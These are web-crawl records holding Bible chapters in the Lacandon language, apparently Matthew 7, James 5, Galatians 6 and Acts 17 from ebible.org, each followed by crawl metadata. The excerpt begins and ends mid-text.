ya'ab cu bin c'uchur ich ca'anan.\n14 Mʌ' ja wirej, aro' an ten bic chichin u jor tu cu yocar, baxuc u bej, jach c'ax tu cu manob. Chen a mac a cu manob tu cu pachticob tu yorob ti' yʌnob ich co'coch u jor quir u yocarob. Baxuc ti' yʌnob ich co'coch u bej tu cu manob. Chen ca' bin xicob ʌcʌtan C'uj ti' cu bin joc'sa' ten C'uj ca' xicob ich c'ac'.\nJesús cu camsic biquira' a cu tus camsicob u t'ʌn C'uj\n(Lc. 6.43‑44)\n15 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Qui' cʌnantex a bʌjex soc mʌ' u tusiquechex u tus ʌjcamsʌyʌjirob u t'ʌn C'uj. Raji'ob cu ya'aricob: \"Mʌ' jach caremenobi'\", chen jach c'asob.\n16 Je' a c'ʌ'otiquex a tus ʌjcamsʌyʌjirob u t'ʌn C'uj, quire' je' a wiriquex u manob ich u c'asir. Mʌ' ja wirej, je' wa ja bin a wirex u wich uva ich u che'er a yʌn u q'ui'ixere'. Mʌ' ra' u yaq'uir u wich uva. Mʌ' ja bin a wirex u wich higo ich u che'er a yʌn u q'ui'ixere'. Mʌ' ra' u che'er u wich higo.\n17 Cʌnex a jera' ―quij Jesús―. Wa tsoy u che'er tsoy u wich xan. Wa mʌ' tsoy u che'er, c'as u wich xan.\n18 A tsoy u che'er, mʌ' u c'astar u wichi', tsoy u wich. A c'as u che'er cu c'astar u wich. Mʌ' c'ucha'an yor u tsoyquintej u wichob, quire' c'as u che'er.\n19 Baxuc raji'ob a tus yʌjcamsʌyʌjirob u t'ʌn C'uj. A tu cu beyajob ca bin a wirex wa cu manob tu tsoyir wa cu chen tusaricob. C'ʌ'otex a c'as u che'er, cu joc'sic mac quir u toquej.\n20 Baxuc a tus ʌjcamsʌyʌjirob cu bin yubicob u ts'iquir C'uj. Tar cu binob ich c'ac'.\nMʌ' ju bin ocar tu cotor tu cu bin u reyinticob C'uj\n(Lc. 13.25‑27)\n21 Jesús caj ya'araj ti' u camsʌwinicob:\n―Tu cotor mac a cu t'ʌnic ten: \"Jaj Ts'ur\" ―quij―, irej wa caj u c'ʌmaj in t'ʌn. Mʌ' jin bin in wacsic tu cu reyintic C'uj. Jari' a mac a cu quibic u t'ʌn in Tet ca'anan. Ra' quin bin in wacsej.\n22 U q'uinin ca' bin c'uchuc, tu q'uinin u xur t'ʌn, ya'ab mac cu bin mamax a'aric ten: \"Jaj Ts'ur, caj in tsec'taj a t'ʌn. Caj in joc'sob c'ac'as quisin xan. Caj in wa'arob: Joq'uen c'ac'as quisin ich u c'aba' Jesús. Baxuc caj in betob carem tech.\" Baxuc cu bin ya'aric ti' ten ca' bin xuruc t'ʌn.\n23 Ra' u q'uinin ca' bin in c'asej ti'ob. Je' in wac ti'ob: \"Mʌ' jin wer maquechex. Mʌ' jin wirmʌnechex.\" Quin bin in wa'aric ti'ob: \"Xenex quire' caj manex ta c'asir.\"\nA mac jach t'aj\n(Lc. 6.47‑49; Mr. 1.22)\n24 Jesús caj ya'araj ti' u camsʌwinicob:\n―A mac jach t'aj cu yubic in t'ʌn, cu quibic a ba' quin chich aric ti'. Aro' irej a cu cʌxtic u panic yoc naj tu yʌn tunich soc mʌ' u riquir.\n25 Pachir caj tarij ja', caj burij, caj tarij ic' yejer ja'. Caj u pecsaj naj ic' yejer ja'. Chen mʌ' riqui' naj quire' chich yoc u najir. Rajen mʌ' ju riquir.\n26 Caj ya'araj Jesús:\n―A mac cu yubic in t'ʌn chen mʌ' ju quibej irej a mac jach chich u jo'r. Mʌ' ja wirej, aro' caj u c'ʌxaj naj tu jup'.\n27 Caj tarij ja', caj burij. Caj tarij ja' yejer yic'ar. Caj u pecsaj naj. Caj riquij yoc. U najir caj rup' ich ru'um. C'am caj rup' u najir. Caj u jac'saj yor mac.\n28 Caj ts'oc u camsic u camsʌwinicob Jesús. Jach jaq'uij yorob caj yubob bic caj u camsaj ti'ob.\n29 Quire' caj u camsaj ti'ob a ju jach ne'er u camsic ti'ob. Mʌ' ju camsaj bajen yʌjcamsʌyʌjirob u t'ʌn Moisés. Raji'ob mʌ' u ne'er u camsicob. Quire' yejer u muc' C'uj Jesús cu camsic ti'ob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT7.html","date":"2022-06-29T07:07:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103624904.34\/warc\/CC-MAIN-20220629054527-20220629084527-00355.warc.gz","language":"lac","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000002384185791}","num_words":1194,"character_repetition_ratio":0.076,"word_repetition_ratio":0.002,"special_characters_ratio":0.314,"stopwords_ratio":0.5,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nCu chich ara' ti' a neyʌn u taq'uine'\n1 Arex ti' a mac neyʌn u taq'uine' ca' u yʌxchun yaq'uic tu bʌj ca' awat'nʌc xan. Quire' bin u ca'ob muc'yaj xan.\n2 Arex ti'ob, jot u taq'uinob quire' a C'ujo' cu yiric irej wa rab. Bayiri' xan jot u noc' quire' a C'ujo' cu yiric irej wa ju jantmʌn ch'o'.\n3 Arex ti'ob xan, jot u taq'uinob oro, baxuc u sʌc taq'uinob quire' a C'ujo' cu yiric jac'a'an yits' quire' mʌ' ju xupicob u taq'uinob quir u beyaj ti' C'uj. Mʌ' ju beyajob yejer C'uj xan. Robob a neyʌn u taq'uinob, mʌ' ju c'ʌ'otob wa cu yiric C'uj jot yejer taq'uinob. Mʌ' ja wirej, cu chen tucricob u t'ajʌr u taq'uinob tu yorob baje'rer. Cax baje'rer tan u chen t'ajʌr u muc'yajob. Ca' bin c'uchuc tu q'uinin a tu p'isa C'ujo' bin u ca'ob u jach muc'yaj. Ra' q'uinino' bin u ca'ob muc'yaj munt q'uin ich c'ac'.\n4 Wa ju taq'uin a neyʌn u taq'uino' c'ucha'an yor u tsicbar ra' a neyʌn u taq'uin, raji' je' ya'aric: \"A teno' u taq'uinen a mac a beyanʌjob uch ti' in Jach Ts'urir. Cax rʌc joc' u nar in ts'urir mʌ' tu qui' bo'ot yʌjjaq'uirob u nar in ts'urir.\" Baxuc u ya'aric u taq'uin a neyʌn u taquinob wa c'ucha'an yor tsicbar. Chen ic Jaj Ts'urirex C'uj raji' cu ts'urintic tu cotor mac. Caj yubaj ya'ara' ti' ten yʌjjaq'uirob u nar: \"Mʌ' ja qui' bo'otaj tenobi'.\" Baxuc caj yuba C'uj ya'aric.\n5 A techexo', a neyʌnex a taq'uinex, tan a manex a qui'qui' janʌnex. Tan a manex a qui' mʌnex a noc' bayiri' tan a manex a mʌniquex a ba'taquex xan te'ra' ich yoc'ocab. Mʌ' ja wirej, tan a chen manex a pachtex ba' ti' a winquirirex. A techexo', tan cʌniquex an ten bic a q'uec'ʌno' quire' su'su' cu janʌn a q'uec'ʌno'. Quire' a q'uec'ʌno' mʌ' ju tucr u quimin. Ca' bin ts'ocac u poroc, jeroj, cu bin quinsbir. Baxuc techex xan wa neyʌn a taq'uinex. Mʌ' ja wirej, ca chen manex a pachtiquex ba' ti' a winquirirex. Mʌ' rajra', ca bin cuxtarex quire' je' a quiminexe'. Jeroj ca binex ich c'ac'.\n6 A techexo', a neyʌn a taq'uinex. Mʌ' ja wirej, a techexo' ca ta'quiquex u jo'r a mac a mʌna' u si'piro'. Jeroj ta quinsexo'. A ta quinsajexo' mʌ' ju tac u bʌj techexi'.\nT'ʌnex C'uj soc u chichquintiquex a wor\n7 Rajen in bʌjobechex, ca' ic muc'tex ca' ic qui' paj u q'uinin ca' bin uruc ic Jaj Ts'urirex. Ca' ic cʌnex yʌjpʌq'uir nar an ten bic cu pajic u tar ya'arir u pʌc'ar nar. Yer ca' bin ts'oc u tar ya'arir, cu ch'ijir u pʌc'ar nar. Cu jobar yi'jir. Cu tijire' cu jaq'uic.\n8 Baxuc to'onex ca' ij qui' paje ic Jaj Ts'urirex rajen ca' ic chichquintex ij corex quire' tabar yur ic Jaj Ts'urirex.\n9 In bʌjobechex mʌ' tsoy ic pacran pʌquiquex ic pachex, quire' tan ic muc'yajex, soc ca' bin c'uchuc tu q'uinin, mʌ' ju ta'quic ic jo'rex C'uj. Mʌ' ja wirej, tabar u c'uchur a mac cu bin u ta'quic ic jo'rexe'.\n10 In bʌjobechex ca' ij qui' cʌnex yʌjtseq'uirob u t'ʌn C'uj uch. Mʌ' wa c'aj techex caj u tsec'tob u t'ʌn C'uj uch. Robob tuchi'ta'b ten ic Jaj Ts'urirex. Mʌ' ja wirej, tu jach muc'tob caj chucob u pachob ten u rac'ob uch. Rajen tsoy ca' ij cʌnej yʌjtseq'uirob u t'ʌn C'uj uch soc baxuc to'onex xan.\n11 Rajen baxuc quij cariquex a mac a tu muc'taj u yajirir uch, jach taj jach qui' yor. An ten bic Job uch, mʌ' wa c'aj techex uch, caj u muc't u yajirir Job uch, quire' chichquinta'b yor ten ic Jaj Ts'urirex uch. C'aj techex caj ts'oc u muc'tic u yajirir Job rajen pachir a C'ujo' caj qui' cʌnanta'b. Quire' a C'ujo' cu yajquintico'onex bayiri' cu qui' tucrico'onex xan. Rajen yajquinta'b u parar Job rajen yamta'b ten C'uj.\n12 Rajen in bʌjobechex, mʌ' a yʌn tus t'ʌniquex C'uj tu ca muc'yajex, rajen ca' a qui' cʌniquex aro'. Jach manan ca' a cʌnex aro'. Rajen toc p'ʌtex a tus t'ʌniquex C'uj. Mʌ' tsoy a wa'ariquex: \"C'uj cu yiric\", quire' a C'ujo' ti' yʌn ich ca'anani' quire' raji' tu betaj yoc'ocab. Taj ca' tsicbanʌquechex. Wa ca wa'ariquex je'erere' taj ca' a toc betex. Mʌ' a chen ariquex C'uj cu yiric. Wa ca wa'ariquex mʌ' mʌ' a betiquex aro', ca' a toc arex mʌ' a chen ariquex C'uj cu yiric soc mʌ' a wacsiquex a si'pirex soc mʌ' u ta'quiquex a jo'r C'uj.\n13 Wa ti' yʌn mac tu yʌnechex wa tan u muc'yaj, arej ti' ca' u t'ʌnej C'uj soc mʌ' u yac'tic u bʌj. Wa qui'ex a worex c'aynʌquechex ti' C'uj.\n14 Wa ti' yʌn turiri' tu yʌnechex wa yaj. Arej ti' ca' u pʌy u jach ts'urirob tu cu c'ayob, a nuxibo', soc u t'ʌnicob C'uj ti' a yaje'. Soc u jic'ta'r u ts'ac tsats tu jo'r. Quire' quet bayiri' tan u t'ʌnicob u Jaj Ts'urirob.\n15 Je' u jawʌr u yajir u rac'obe' tu cu t'ʌnico' C'uj, quire' tu yacsaj tu yor ti' u t'ʌn C'uj. Je' u jawsa'r ten C'uj wa yʌn u si'pir a yaje' je' u jawsa'r u si'pir xane'.\n16 Rajen ca' a toc arex a si'pirex ti' a rac'obex. T'ʌnex C'uj ti' a rac'obex soc C'uj cu yamtiquechex wa ber ca yajtarex. Mʌ' ja wirej, a mac jach taj yoro' jach neyʌn u muc' tu cu t'ʌnicob C'uj. Aro' raji' c'ucha'an yor ti' tu cotor ba'.\n17 U'yex ba' cu camsico'on ic nunquirex Elías. Mʌ' ja wirej, a Elías iro'onex caj u t'ʌnaj C'uj Elías soc mʌ' ju tar ya'arir, rajen mʌ' tar ya'arir hasta man tres yaxq'uin u jer chumuc yaxq'uin mʌ' ju tar ya'arir.\n18 Caj u wʌc'ʌs t'ʌnaj C'uj Elías ca' tac ya'arir caj wʌc'ʌs tar ya'arire', caj ch'ij u pʌc'ʌrob.\n19 In bʌjobechex wa ti' yʌn mac tu yʌnechex a tu p'ʌtaj u t'ʌn C'uj quire' tus pa'ay u ber ten u tus ʌjcamsʌyʌjir u t'ʌn C'uj. Chen wʌc'ʌs binij mac quir u yamta'r a mac tus soc u jach c'axic tu yor, jeroj tu jach c'axaj tu yor.\n20 Arex ti' a mac tu yamtaj a tus camsa'b ca' u c'axic tu yor soc u p'ʌtic u si'pir soc a tus camsa'be' soc mʌ' ju bin sa'tʌr, rajen toc rʌc jawsa'b u si'pir a mun yʌn ti'. Quire' yamta'b ten u yet acsʌ'orir.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/JM5.html","date":"2022-07-03T09:21:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104215805.66\/warc\/CC-MAIN-20220703073750-20220703103750-00769.warc.gz","language":"lac","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000053644180298}","num_words":1047,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.3,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\nPacran yamtex a bʌjex\n1 A techexo' in wet acsʌ'orirechex a pay u berob ten u Taj'or u Pixam C'uj. Ca' a yamtex a mac a tu pʌy u si'pir. Chan ber a wac soc u rʌc p'ʌtic, chan chan ber a waquex ti'. Chen bayiri' techex qui' cʌnant a bʌjex soc a wʌc'ʌs bʌjiri' mʌ' a ca' pʌyic a si'pirex.\n2 Wa baxuc ca betiquex, tan a pacran yamtiquex a wet acsʌ'orirex cax a ba' cu tar techex. Quet bayiri' ca quibiquex u t'ʌn Jesucristo.\n3 Quire' wa mac cu tus tucric tu yor: \"A teno', quij, jach no'jen\", chen raji' mʌ' jach no'ji', jot, u bʌjiri' tus arique'.\n4 Chich quin wa'aric techex a je'ra', junjunechex ca' a quetquint a bʌjex ti' a ba' ts'iba'an ich u t'ʌn C'uj quire' ra' a p'isex. Caj ts'oc a wiriquex taj a ba' caj a betajex. Jeroj qui' a worex, quire' caj a qui'quintex yor C'uj xan. Mʌ' tsoy wa quij quetquintic ic bʌjex yejer ij quet acsʌ'orirex quire' robob mʌ' ra' a p'isexi'.\n5 Quire' jujunturo'onex ca' ic tucriquex ba' cu pʌyic ic si'pirex quire' bin ij ca'ex ic nunquiquex ti' C'uj biq'uin.\n6 A maca' a camsa' ten u ts'urir tu cu much'quinticob u bʌj tu cu c'ayob a tan u cʌnicob u t'ʌn C'uj. Robob ca' u jʌsob ti' u yʌjcamsʌyʌjirob u t'ʌn C'uj a ba' yʌn ti'ob a jach tsoyo'.\n7 Mʌ' wa ja wʌc'ʌs bʌjiri' tus ariquexe' mʌ' c'ucha'an a worex a tusariquex ti' a C'ujo'. Mʌ' ja wirej, u t'ʌn C'uj bin u ca' u nup'sej, a ba' ta pʌq'uex ca' bin c'uchur tu q'uinin ra' ca bin a jaq'uex an ten ca pʌq'uiquex a narex ra'iri' ca jaq'uiquexe'.\n8 Wa quic pʌq'uiquex a ba' quic pachtiquex tij corex a c'aso', quic bin ic pʌy ic si'pirex hasta cu c'uchur tu q'uinin munt q'uin quic bin sa'tʌrex, quet yejer ic winiquirex. Chen wa quic pʌq'uiquex a ba' u c'at u Taj'or u Pixam C'uj rajra' je' ic manex tu tsoyir, je' u c'uchur tu q'uinin, munt q'uin, quic bin cuxtarex.\n9 Rajen mʌ' jic cha' u ca'anan ij corex tu quic manex tu tsoyir quire' ca' bin c'uchuc tu q'uinin C'uj bin u ca' u qui' acso'onex wa mʌ' tupsa'an ij corex.\n10 Rajen ca' ic yamtex mac tu cotor, ca' bin tac u q'uinin quir ic yamtiquex a ti'obo'. Barej jach manan ca' ic yamtex a mac caj u yacsa tu yor u t'ʌn C'uj, quire' robob ic jach bʌjob.\nQuir u ts'ocar u t'ʌn Pablo cu chich t'ʌnic ti'ob, bayiri' cu rʌc t'ʌnic xan\n11 Ira wirex mun u ca' ts'ib caj in ts'ibt yejer in c'ʌb, jach carem.\n12 Mʌ' ja wirej, a mac a caj u chich ar techex ca' a ts'irex a bʌq'uerex irej nani u beticob u winiquirob judío. Aro' cu chen aric techex soc tsoy yirir ten u rac'ob, u yet winiquirob judío. Robob caj u camsob aro' soc mʌ' u chucur u pachob quire' Cristo quimij ich cruz ti'ob.\n13 Mʌ' ja wirej, cu tus man u camsob u t'ʌn Moisés soc tsoy yubicob ca' a ts'irex a bʌq'uerex tu ca wixex irej nan u beticob u winiquirob judío. Cax robob u wʌc'ʌs bʌjiri'ob mʌ' u qui' quib a ba' ts'iba'an ich u t'ʌn Moisés. Cu chen man u jumbintob ca' a ts'irex a bʌq'uerex, ir u winiquirob judío soc yubicob: \"Tsoy caj a camsaj ti'ob ca' u ts'ir u bʌq'uerob.\"\n14 Chen a teno', bin in ca' in wa'arej ti' mac, mun jach tsoy a Jesúso', quire' caj tar u muc'yaj ti' ten ich cruz quire' mʌ' ju sipten ti' u t'ʌn a Moiséso'. Bayiri' xan, mʌ' u sipten ti' a ba' c'asir quin pachtic tin wor a tera' ich yoc'ocab. Baxuc quin wa'aric ti' mac.\n15 Jot mʌ' ba'wir a mac ts'ira'an u bʌq'uer, cax a mac mʌ' ts'ira'an u bʌq'uer mʌ' ba' wir, jot. A mac u ba' jach no'ojo', a mac ric'ben winico' quire' tu yacsaj tu yor ti' Cristo.\n16 Tu cotor mac a cu man a cu pʌyʌr u ber ten u Taj'or u Pixam C'uj an ten bic caj in camsechex soc a werex mʌ' ja manex tu c'asirob, robob jach taj u winiquirob israel, a cu jach c'ujinticob C'uj. Ca' u yajquin techex C'uj, in c'at ca' u yamtechex C'uj. Ca' qui'ac a worex quire' a werex toc jawsa'b a si'pirex ten C'uj.\n17 Tu q'uinin a baje'rer toc arej ti' a rac'obex nac in wor, cax u jer u q'uinin ca' bin tac. Arej ti' a rac'obex mʌ' u nacsicob in wor. Quire' tin toc araj ti'ob bic u bʌji'iri' Jesús caj u ts'aj in beyaj. Wa cu jach tarob yirej ba' u ber in winquirir, tu quin man in tsec't u t'ʌn C'uj, caj u jʌts'ob in pach, tu ch'inob in jo'r.\n18 A teno' quin t'ʌnic C'uj techex in wet acsʌ'orirechex ca' u yajquin techex C'uj ca' u yamtechex. Jeroj ts'oquij, quij Pablo.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/GL6.html","date":"2022-07-01T23:00:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103947269.55\/warc\/CC-MAIN-20220701220150-20220702010150-00578.warc.gz","language":"lac","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000003695487976}","num_words":809,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.476,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17\nCaj c'uchob Pablo yejer Silas ich u cajar Tesalónica\n1 Caj binob ich u berir quir u ch'ʌticob u cajar Anfípolis bayiri' xan, yejer u cajar Apolonia, jeroj caj c'uchob ich u cajar Tesalónica tu yʌn uch turiri' u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío.\n2 A Pablojo', an ten bic cu naj betic caj oquij ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Rajra' u q'uinin u je'rar u winiquirob judío caj u tsec'taj ti'ob u t'ʌn C'uj, hasta manij tres semanas.\n3 Pablo caj u ya'araj ti'ob:\n―A Cristojo', a cu naj pajicob u winiquirob judío, ca' bin tac bin u caj muc'yaj, bayiri' xan, bin u caj quimin, bayiri' xan, bin u caj riq'uir ich u quimirir, quire' ts'iba'an ich u t'an C'uj uch. Ra'iri' a Jesúso', a quin wa'aric techex, raji' Cristo.\n4 Yʌn jun yarob a caj u yubajob ya'ara' ten Pablo jeroj caj u yacsajob tu yorob, rajen caj u p'eri'quintob u bʌj yejer Pablo yejer Silas. Bayiri' xan, caj u betajob u winiquirob griego a cu c'ujinticob C'uj. Ya'ab a ti'ob caj u yacsajob tu yorob. Bayiri' xan, ti' yʌn jun yarob xquic a ju winiquirob griego a sʌjta'b ten tu cotor mac caj u yacsajob tu yorob xan.\n5 Caj choquij yorob u winiquirob judío ti' Pablo yejer Bernabé. Rajen p'usa'b yorob ra' mʌ' yacsmʌnob tu yorob u t'ʌn Jesús. Rajen caj u much'quintajob u bʌj, a mac a mʌ' u beyajobe' ich u winiquirob judío, quir u p'usicob yorob a mac a cʌja'anob ich u cajar Tesalónica. Caj ts'oc u p'usicob u yorob caj bin cʌxta'birob Pablo yejer Silas. Ti' ocob cʌxta'bir Pablo yejer Silas cax caj u yubajob ya'ara' ti'ob: \"Cax mʌ' a yʌn ocarex.\" Mʌ' ju yubaj a ba' ara'b ti'ob, ocob ich yatoch Jasón. Chen mʌ' irir Pablo yejer Silas quir u chucurob.\n6 Barej mʌ' irir Pablo yejer Silas caj u chich chucajob Jasón yejer u jerob a yacsmʌnob tu yorob. Robob caj u chopʌytajob Jasón ich ʌcʌtan u jach ts'urirob u cajar Tesalónica. Caj c'uchob purbirob, c'am caj awʌtnʌjob caj u ya'arajob:\n―A je' xiba' cu p'usicob u yorob tu cotor u cajarob tu cu binob. Baje'rer caj c'uchob tu yʌno'onex tij cajarex.\n7 A je' Jasóna', caj u yacsaj a ra xibo' tu yatoch. Mʌ' ja wirej ―quij―, mʌ' u sʌjticob a ba' ara'b ten ic reyex César, quire' cu camsicob, tan ya'aricob ti' yʌn u jer rey, Jesús u c'aba'. Raji' ic reyex.\n8 Quire', a baxuc u t'ʌnob, caj u joc'sajob u yorob a pimo' yejer u jach ts'urirob u cajar, quire' a ba' caj u yubob ya'ara' ti'.\n9 U jach ts'urirob u cajar Tesalónica, caj u c'atajob u taq'uin ti' Jasón, baxuc ti' a yacsmʌnob tu yorob xan. Barej ca' bin xicob Pablo yejer Silas, je' u ca' ts'abʌr u taq'uin ti'ob ten u jach ts'urirob u cajar. Caj ts'oc u bo'oticob yejer u taq'uin, caj cha'b u bin Jasón yejer u jerob a yacsmʌnob tu yorob.\nPablo yejer Silas ich u cajar Berea\n10 A yacsmʌnob tu yorob ich u cajar Tesalónica seb caj u tuchi'tob Pablo yejer Silas ca' xicob ich u cajar Berea. Cax ac'bir caj u tuchi'tajob ca' xicob. Barej caj c'uchob ich u cajar Berea caj binob ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío.\n11 U winiquirob judío ich u cajar Berea jach tsoy u tucurob, quire' caj u qui' sarob u xiquinob caj u yubob u t'ʌn C'uj, quire' rajra' caj u xacajob u t'ʌn C'uj, soc chʌca'an yiricob wa taj a cu ya'aricob Pablo yejer Silas. A robob ich u cajar Tesalónica mʌ' baxuc u tucurob.\n12 Rajen ya'ab u winiquirob judío caj u yacsajob tu yorob. Bayiri' xan, ya'ab a xquicob, a ju winiquirob griego, caj u yacsajob tu yorob xan, bayiri' xan, robob xib caj u yacsajob tu yorob. Robob u winiquirob griego a sʌjta' ten tu cotor mac.\n13 Barej u winiquirob judío, a ti' cʌja'an ich u cajar Tesalónica, caj u yubob ti' yʌn Pablo yejer Silas ich u cajar Berea cu tsec'ticob u t'ʌn C'uj. Caj bin p'usa'bir yorob a pimo' a ti' cʌja'anob ich u cajar Berea. Caj u p'usajob u yorob ca' ts'icacob yejer Palo yejer Silas.\n14 Seb caj tuchi'ta'b Pablo ten a yacsmʌnob tu yorob ca' xic ich chi'c'ac'nab, chen ti' p'atob Silas yejer Timoteo ich u cajar Berea.\n15 A mac yet binac Pablo caj bin purbirob Pablo hasta c'uchob purbir ich u cajar Atenas. Caj ts'oc u p'ʌticob Pablo ich u cajar Atenas a yacsmʌnob tu yorob caj sutnʌjob tu pach. Yʌn ara'b ti'ob ten Pablo:\n―Arej ti'ob Silas yejer Timoteo, seb u tarob te' yʌnena'.\nPablo ich u cajar Atenas\n16 Quire' Pablo cu pajic Silas yejer Timoteo ich u cajar Atenas. Pablo caj yajij yor caj u yiraj p'encʌch yochir u tus c'uj ich u cajar Atenas.\n17 Rajen ya'ab u tenin tsicbʌnʌjij Pablo ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío, bayiri' xan, yejer u jer ya'ab mac a tu c'ujintajob C'uj. Bayiri' xan, rajra' cu sastar ti' cu bin Pablo tu cu naj mʌnicob yo'och quir u tsicbar yejer a mac a ti' yʌno'.\n18 Yʌn mac caj tarob u tsicbarob yejer Pablo. A cu bino', tan u cʌnicob a ba' cu camsa'r ten yʌjcamsʌyʌjir u c'aba' Zenón. U jerob, a tan u bino' ich Pablo, cu cʌnicob a ba' cu camsa'r ten yʌjcamsʌyir Epicuro. Jun yarob a binob ich Pablo caj u c'atajob ich u rac'ob:\n―Ba' u c'at ya'aric to'onex a ray xibo' a mʌ' u ts'ocar u t'ʌnob?\nU jerob a ts'oc u yubicob a ba' caj u ya'araj Pablo, caj u ya'arajob:\n―Tan ix ti' u tsec'tic to'onex u jerob c'uj.\nQuire' tan u tsec'tic Jesús tan ya'aric riq'uij ich u quimirir xan.\n19 Jeroj caj u pʌyajob Pablo, caj bin u purbob soc u yuba'r u t'ʌn Pablo ich tanxer u cajar tu yʌn u chan witsir u c'aba' Areópago. Tiri' cu naj tsicbarob u jach ts'urirob u cajar Atenas quir u quetquinticob u yorob ti' u beyajob. Tiri' bin purbirob Pablo xan. Caj c'uchob caj c'ata'b ti':\n―Arej to'onex ca' ij cʌnex a ba' ca camsic, quire' ric'ben t'ʌn ca camsico'onex te' ich u cajar Atenas.\n20 Mʌ' ja wirej, mʌ' ij cu'ymʌnex uch a ba' ca camsico'onex. Ij c'atex ic najtex a ba' u c'at ya'aric aro'.\n21 A mac a ti' cʌja'anob ich u cajar Atenas, cax a mac a nach cu tar cʌjtarob, cu naj man cʌxta'birob quir u tsicbarob yejer u jer mac, soc yerob ba' cu tsicbʌticob a ric'beno'. Bayiri' xan, u c'at u tsicbʌticob a ba' ric'ben xan, ich u yet cajarob.\n22 Jeroj Pablo caj ch'icraj quir u tsicbʌtic ʌcʌtan tu cotor mac ich a Areópago caj u ya'araj:\n―U xibirechex a cajarex Atenas, quin wiric a sʌjmʌnex ya'ab u yochir tus c'ujob.\n23 Quire' tu quin man ich a cajarex caj in wiraj ya'ab ba' a ca c'ujintiquex. Jeroj, caj in wiraj u naj cuchir tu ca naj c'ujintiquex yochir tus c'uj. Jeroj, caj in wiraj ti' ts'iba'an ich a ray u naj cuchir tu ca naj c'ujintiquex yochir tus c'uj, a tan ya'aric: \"A je'ra' u naj cuchir a mʌ' ij quiramʌnex c'uj.\" Tan ya'ara' ti' ten Pablo. A jera' a ca c'ujintiquex jujuntur c'uj, a mʌ' a wiramʌnex, a C'ujo' raji' tar in tsec'tej techex, a C'ujo' a ca wa'ariquex a mʌ' a wiramʌnexe'.\n24 'A je' C'uja', a ra' caj u betaj a yoc'ocabo' yejer tu cotor ba' a ti' yʌn te'ra'. A je' C'uja', a cu ts'urintic tu cotor mac a ti' yʌn yoc'ocab, bayiri' xan, cu ts'urintic tu cotor ba' a ti' yʌn ca'anano'. A je' C'uja', a mʌ' u cʌjtar tu cu c'axʌr yatoch ten mac quir u c'ujinticob C'uj.\n25 A ba' cu ts'abʌr ten xib ti' C'uj mʌ' ba'wir ti' C'uj. Mʌ' ja wirej, a C'ujo', cu ts'ajic u cuxtar tu cotor mac. C'uj cu ts'ajic quir ic ch'ic ij q'uiq'uerex quir ij cuxtarex u burur q'uin. A ba' cu manob u cʌxtej mac ra' cu ts'abʌr ten C'uj.\n26 Ti' toy cu tsicbar Pablo ti' a mac a ti' yʌnob ich a Areópago:\n―Tiri' ic tarex ich ic nunquirex a tantanxer a cajarob ich yoc'ocab, quire' toc p'eri' ic nunquirirex caj beta'b ten C'uj uch, rajen caj pimijo'onex ich yoc'ocab. C'uj caj u toc araj tu cu yʌn bin u cʌjtar mac ich yoc'ocab, cax mʌ' toy beta'b a yoc'ocab ten C'uj uch. Bayiri' xan, caj u toc tetaj u q'uinin quir ij cuxtarex ich yoc'ocab.\n27 C'uj caj u cha'j ij cuxtarex ich yoc'ocab quir ij cʌxtiquex C'uj soc ij cacsic tij corex. Mʌ' ja wirej, mʌ' nach yʌn C'uj, tiri' yʌn tu yʌnechex, quire' tiri' yʌn C'uj ich tu cotor mac.\n28 Quire' C'uj cu ts'ic ic cuxtarex. C'uj cu ts'ic ic ximbarex, cax a ba' quic betiquex C'uj, caj u ts'ajaj to'onex. Mʌ' wa baxuc caj u ts'ibtaj techex turiri' yʌjts'ibirju'un u winiquirob griego? Mʌ' wa raji' caj u ya'araj: \"Raji' u pararo'onex C'uj quire' raji' caj u beto'onex uch, quij.\"\n29 Wa C'uj caj u beto'onex biquinin ca wa'aric a c'ujex a sʌc taq'uinexo'? Biquinin ca wa'ariquex a C'ujex a c'ʌn c'ʌn taq'uinex wa ca wa'ariquex a C'ujex a ba' jo't'ʌn tunich? Biquinin ca c'ujintiquex ―quij ya'araj ti'―, a ba' a bʌjiri'ex caj a betajex? Rajen mʌ' tsoy ij c'ujintiquex a caj u tucraj u betic mac.\n30 A C'uj ucho', mʌ' ju ya'ar u bo'otic ic si'pirex, quire' a ucho' a maco' mʌ' u jach erob C'uj a ucho'. Chen baje'rer, C'uj cu chich aric ti' tu cotor mac ca' u c'axej yorob, ca' u p'ʌtob a ba' c'asir yʌn ti'ob uch, u si'pirob.\n31 Mʌ' ja wirej, C'uj u c'at ca' ij c'axiquex ij corex soc ic p'ʌtiquex a c'aso', quire' caj u toc tetaj u q'uinin quir ic binex ʌcʌtan C'uj. Mʌ' ja wirej, C'uj caj u tetaj Jesús a mac iro'onex soc u joc'ar u tajir tu cotor ba'. Caj teta'b Jesús ten C'uj, quire' ra' u beyaj quir u joc'ar u tajir ba' tu cotor. Mʌ' ja wirej, jari' Jesús cu ya'aric a ba' u tajir quire' ric'sa'b 